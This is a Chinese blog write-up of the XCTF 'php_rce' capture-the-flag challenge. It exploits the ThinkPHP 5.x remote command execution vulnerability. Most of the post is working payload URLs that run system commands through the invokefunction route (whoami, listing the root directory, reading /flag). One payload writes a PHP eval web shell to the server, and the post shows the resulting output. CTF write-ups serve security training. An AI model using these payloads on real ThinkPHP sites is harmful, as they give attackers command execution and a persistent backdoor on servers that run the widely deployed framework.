

XCTF php_rce

原创

夏了茶糜 于 2020-03-31 11:45:49 发布 465 收藏 1

分类专栏: [CTF-WEB](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/qin9800/article/details/105218920>

版权



[CTF-WEB](#) 专栏收录该内容

7 篇文章 1 订阅

订阅专栏

ThinkPHP 5.X远程命令执行漏洞

利用system函数远程命令执行

```
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
```

写入shell

```
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<?php @eval($_POST[cmd]);?^> >shell.php
```

查找flag

INT SQL BASICS UNION BASED ERROR/DOUBLE QUERY TOOLS WAF BYPASS ENCODING HTML ENCRYPTION OTHER XSS LFI

Load URL `http://111.198.29.45:39164/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /`

Split URL

Execute

Post data Referrer 0xHEX %URL BASE64 Insert string to replace Insert replacing string Replace

bin boot dev etc **flag** home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var var

查看flag

Load URL `http://111.198.29.45:39164/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag`

Split URL

Execute

Post data Referrer 0xHEX %URL BASE64 Insert string to replace Insert replacing string Replace

flag{thinkphp5_rce} flag{thinkphp5_rce}